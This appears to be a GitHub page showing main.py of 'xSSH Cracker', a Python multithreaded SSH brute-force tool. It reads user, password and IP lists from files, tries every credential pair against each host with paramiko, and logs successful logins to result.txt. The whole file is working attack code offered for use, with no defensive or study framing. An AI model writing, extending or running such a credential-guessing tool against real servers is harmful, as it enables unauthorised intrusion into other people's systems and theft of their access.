-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmain.py
239 lines (192 loc) · 7.43 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
from threading import Thread, Lock, Event
from pystyle import Colors, Colorate, Center, Write
from datetime import datetime
from multiprocessing import RawValue
from time import sleep
from os.path import exists as file_exists
from contextlib import suppress
from paramiko import AuthenticationException, SSHClient, AutoAddPolicy, SSHException
from logging import CRITICAL, basicConfig
basicConfig(level=CRITICAL)
class Counter:
def __init__(self, value=0):
self._value = RawValue('i', value)
self._lock = Lock()
def __iadd__(self, value):
with self._lock:
self._value.value += value
return self
def __int__(self):
with self._lock:
data = self._value.value
return data
def set(self, value):
with self._lock:
self._value.value = value
return self
class IPSync:
def __init__(self, ips):
self.ips = iter(ips)
self.len = len(ips)
self.rem = self.len
self.lock = Lock()
self.current = None
def __iter__(self):
for ip in self.ips:
with self.lock:
self.current = ip
self.rem -= 1
yield ip
raise StopIteration
def __repr__(self):
return self.current
def __int__(self):
return self.rem
def __len__(self):
return self.len
def __str__(self):
return self.current
class Logger:
@staticmethod
def succses(*msg):
return Logger.log(Colors.green, "+", *msg)
@staticmethod
def warning(*msg):
return Logger.log(Colors.yellow, "!", *msg)
@staticmethod
def fail(*msg):
return Logger.log(Colors.red, "-", *msg)
@staticmethod
def log(color, icon, *msg):
print("%s[%s%s%s] %s%s%s" % (
Colors.gray,
color,
icon,
Colors.gray,
color,
Tools.arrayToString(msg),
Colors.reset))
@staticmethod
def date():
time = datetime.now()
return time.strftime("%Y-%M-%d %H:%M:%S")
class Tools:
@staticmethod
def arrayToString(array):
return " ".join([str(ar) or repr(ar) for ar in array])
@staticmethod
def cleanArray(array):
return [arr.strip() for arr in array]
class Inputs:
@staticmethod
def file(*msg):
def check(data):
return file_exists(data)
return Inputs.require(*msg, check=check, checkError="The File dosn't exists")
@staticmethod
def string(*msg):
def check(data):
return len(data) > 3
return Inputs.require(*msg, check=check)
@staticmethod
def integer(*msg):
def check(data):
return data.isdigit()
return Inputs.require(*msg, check=check, clazz=int, checkError="Invalid Numeric format")
@staticmethod
def require(*msg, check=None, clazz=str, checkError="Invalid String format"):
while True:
data = input(Tools.arrayToString(msg)) or ""
if not data or check(data):
return clazz(data)
else:
Logger.fail(checkError)
class Cracker:
def __init__(self, userlist, passlist, sync_ips, port, threads):
self.threads = threads
self.userlist = Tools.cleanArray(userlist)
self.passlist = Tools.cleanArray(passlist)
self.sync_ips = IPSync(Tools.cleanArray(sync_ips))
self.port = port
self.sync_ips_iter = iter(self.sync_ips)
self.tried = Counter()
self.tps = Counter()
self.cracked = Counter()
self.event = Event()
def isRunning(self):
return int(self.tried) < len(self.sync_ips) + 1
def save(self, target, port, username, password):
self.cracked += 1
with open("result.txt", "a+") as f:
text = "%s:%d@ | %s | %s" % (target, port, username, password)
f.write(text + "\n")
Logger.succses(text)
def start(self):
for _ in range(self.threads):
Cracker.Worker(self).start()
self.event.set()
while self.isRunning():
self.tps.set(0)
sleep(.9)
print("Current TPS", int(self.tps), end="\r")
Logger.succses("Cracked: %d Tried %d" % (int(self.cracked), int(self.tried)))
class Worker(Thread):
def __init__(self, root):
super().__init__(daemon=True)
self.root = root
def run(self):
with suppress(StopIteration, RuntimeError):
while self.root.isRunning():
self.crack(next(self.root.sync_ips_iter))
return
def crack(self, target, port=22):
self.root.event.wait()
try:
trieds = len(self.root.userlist)
for username in self.root.userlist:
for password in self.root.passlist:
try:
sshClient = SSHClient()
try:
sshClient.set_missing_host_key_policy(AutoAddPolicy())
sshClient.load_system_host_keys()
sshClient.connect(target, port, username,
password, timeout=1, banner_timeout=1.1,
look_for_keys=False, auth_timeout=1.2)
self.root.save(target, port, username, password)
finally:
sshClient.close()
return
except AuthenticationException:
Logger.fail("[%s] Invalid user or password %s:%s | %d/%d" % (target, username, password, int(self.root.tried), len(self.root.sync_ips)))
except Exception as e:
if str(e) == "No existing session":
trieds -= 1
if not trieds:
return
continue
Logger.warning("[%s] %s | %d/%d" % (target, str(e) or repr(e), int(self.root.tried), len(self.root.sync_ips)))
return
finally:
self.root.tps += 1
finally:
self.root.tried += 1
if __name__ == "__main__":
print(Colorate.Horizontal(Colors.red_to_blue,Center.XCenter( """
.-. .-. .---. .---. .-. .-.
) \_/ / ( .-._) ( .-._)| | | |
(_) / (_) \ (_) \ | `-' |
/ _ \ _ \ \ _ \ \ | .-. |
/ / ) \( `-' )( `-' ) | | |)|
`-' (_)-'`----' `----' /( (_)
(__)
Hello, Welcome to xSSH Cracker.
""")))
with suppress(KeyboardInterrupt):
with open(Inputs.file("Userlist: "), "r+") as f:
userlist = f.readlines()
with open(Inputs.file("Passwords: "), "r+") as f:
passlist = f.readlines()
with open(Inputs.file("Ips: "), "r+") as f:
iplist = f.readlines()
Cracker(userlist, passlist, iplist, Inputs.integer("Port: "), Inputs.integer("Threads: ")).start()